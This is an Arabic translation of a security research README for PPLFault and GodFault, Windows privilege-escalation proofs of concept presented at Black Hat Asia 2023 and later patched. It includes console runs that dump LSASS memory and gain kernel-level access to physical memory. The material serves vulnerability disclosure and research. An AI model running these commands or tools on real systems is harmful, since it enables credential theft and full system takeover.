
استغلال تصعيد امتيازات في ويندوز يستغل ثغرة TOCTOU في Code Integrity لتجاوز Protected Process Light، والتنفيذ كـ WinTcb-Light، وتفريغ العمليات المحمية (مثل LSASS).
بقلم Gabriel Landau في Elastic Security.
من PPLdump مات. يعيش PPLdump! قُدِّم في Black Hat Asia 2023.
تحديث 2024-02: أصدرت Microsoft تصحيحًا لـ PPLFault في 2024-02-13. انظر هذا الموضوع للمناقشة ذات الصلة.
يستغل ثغرة TOCTOU في Windows Code Integrity لتحقيق تنفيذ تعسفي للكود بصلاحيات WinTcb-Light ثم تفريغ عملية محددة. لمزيد من التفاصيل حول الثغرة، راجع الشرائح و/أو العرض.
PS C:\Users\user\Desktop> cmd /c ver
Microsoft Windows [Version 10.0.25346.1001]
PS C:\Users\user\Desktop> tasklist | findstr lsass
lsass.exe 992 Services 0 76,620 K
PS C:\Users\user\Desktop> (Get-NtProcess -Access QueryLimitedInformation -Pid 992).Protection
Type Signer
---- ------
ProtectedLight Lsa
PS C:\Users\user\Desktop> dir *.dmp
PS C:\Users\user\Desktop> .\PPLFault.exe -v 992 lsass.dmp
[+] No cleanup necessary. Backup does not exist.
[+] GetShellcode: 528 bytes of shellcode written over DLL entrypoint
[+] Benign: C:\Windows\System32\EventAggregation.dll.bak
[+] Payload: C:\PPLFaultTemp\PPLFaultPayload.dll
[+] Placeholder: C:\PPLFaultTemp\EventAggregationPH.dll
[+] Acquired exclusive oplock to file: C:\Windows\System32\devobj.dll
[+] Ready. Spawning WinTcb.
[+] SpawnPPL: Waiting for child process to finish.
[+] FetchDataCallback called.
[+] Hydrating 90112 bytes at offset 0
[+] Switching to payload
[+] Emptying system working set
[+] Working set purged
[+] Give the memory manager a moment to think
[+] Hydrating 90112 PAYLOAD bytes at offset 0
[+] Dump saved to: lsass.dmp
[+] Dump is 74.9 MB
[+] Operation took 937 ms
PS C:\Users\user\Desktop> dir *.dmp
Directory: C:\Users\user\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/1/2023 11:18 AM 78581973 lsass.dmp
يستغل نفس ثغرة TOCTOU الموجودة في PPLFault. لكن بدلًا من تفريغ عملية، ينتقل إلى CSRSS ويستغل ثغرة في win32k!NtUserHardErrorControlCall من ANGRYORCHARD لإنقاص KTHREAD.PreviousMode من UserMode (1) إلى KernelMode (0). وهو يُثبت وصول "God Mode" بفتح \Device\PhysicalMemory، التي يتعذر الوصول إليها عادةً من UserMode، بصلاحية SECTION_ALL_ACCESS.
C:\Users\user\Desktop>GodFault.exe -v
[?] Server does not appear to be running. Attempting to install it...
[+] No cleanup necessary. Backup does not exist.
[+] GetShellcode: 2304 bytes of shellcode written over DLL entrypoint
[+] CSRSS PID is 772
[+] Benign: C:\Windows\System32\EventAggregation.dll.bak
[+] Payload: C:\GodFaultTemp\GodFaultPayload.dll
[+] Placeholder: C:\GodFaultTemp\EventAggregationPH.dll
[+] Acquired exclusive oplock to file: C:\Windows\System32\devobj.dll
[+] Testing initial ability to acquire PROCESS_ALL_ACCESS to System: Failure
[+] Ready. Spawning WinTcb.
[+] SpawnPPL: Waiting for child process to finish.
[+] FetchDataCallback called.
[+] Hydrating 90112 bytes at offset 0
[+] Switching to payload
[+] Emptying system working set
[+] Working set purged
[+] Give the memory manager a moment to think
[+] Hydrating 90112 PAYLOAD bytes at offset 0
[+] Thread 6248 (KTHREAD FFFFA283B0A62080) has been blessed
[+] Testing post-exploit ability to acquire PROCESS_ALL_ACCESS to System: Success
[+] Opened \Device\PhysicalMemory. Handle is 0x1b4
[+] Opened System process as PROCESS_ALL_ACCESS. Handle is 0x1c0
[+] Press any key to continue...
[+] No cleanup necessary. Backup does not exist.
PoC يحقق تنفيذًا تعسفيًا للكود بصلاحيات WinTcb-Light دون استخدام CloudFilter API. انظر python/README.md.
| Windows 11 22H2 22621.1702 (مايو 2023) | Windows 11 Insider Canary 25346.1001 (أبريل 2023) | |
|---|---|---|
| PPLFault | ✔️ | ✔️ |
| GodFault | ✔️ | ❌ تخفيف PreviousMode في Insider يسبب bugchecks |
يخضع PPLFault لترخيص ELv2. ويستخدم phnt من SystemInformer بموجب ترخيص MIT.
مستوحى من PPLdump الذي أنشأه Clément Labro، والذي أصدرت Microsoft تصحيحًا له في يوليو 2022.
أُنشئ ANGRYORCHARD بواسطة Austin Hudson، والذي أصدره عندما أصدرت Microsoft تصحيحًا لـ PPLdump.